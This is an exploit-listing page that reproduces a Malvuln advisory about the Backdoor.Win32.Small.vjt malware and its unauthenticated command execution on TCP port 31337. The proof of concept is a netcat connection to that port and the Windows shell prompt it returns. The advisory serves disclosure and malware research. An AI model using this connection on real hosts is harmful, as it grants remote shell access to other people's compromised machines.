Backdoor.Win32.Small.vjt / Unauthenticated Remote Command Execution

CVE Category Price Severity
CWE-XX Unknown High
Author Risk Exploitation Type Date
Unknown High Remote 2021-09-09
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Backdoor.Win32.Small.vjt / Unauthenticated Remote Command Execution
Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Small.vjt
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 31337. Third-party attackers who can reach the system can execute OS commands or programs further compromising the already infected machine.
Type: PE32
MD5: 92ea873a2bbdaf0799d572bc4f30dc79
Vuln ID: MVID-2021-0337
Disclosure: 09/06/2021

nc64.exe x.x.x.x 31337
Basic Backdoor - Written by White Scorpion (C) 2005
 ******* ********

Close CommandPrompt with 'exit' <enter>.

Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.


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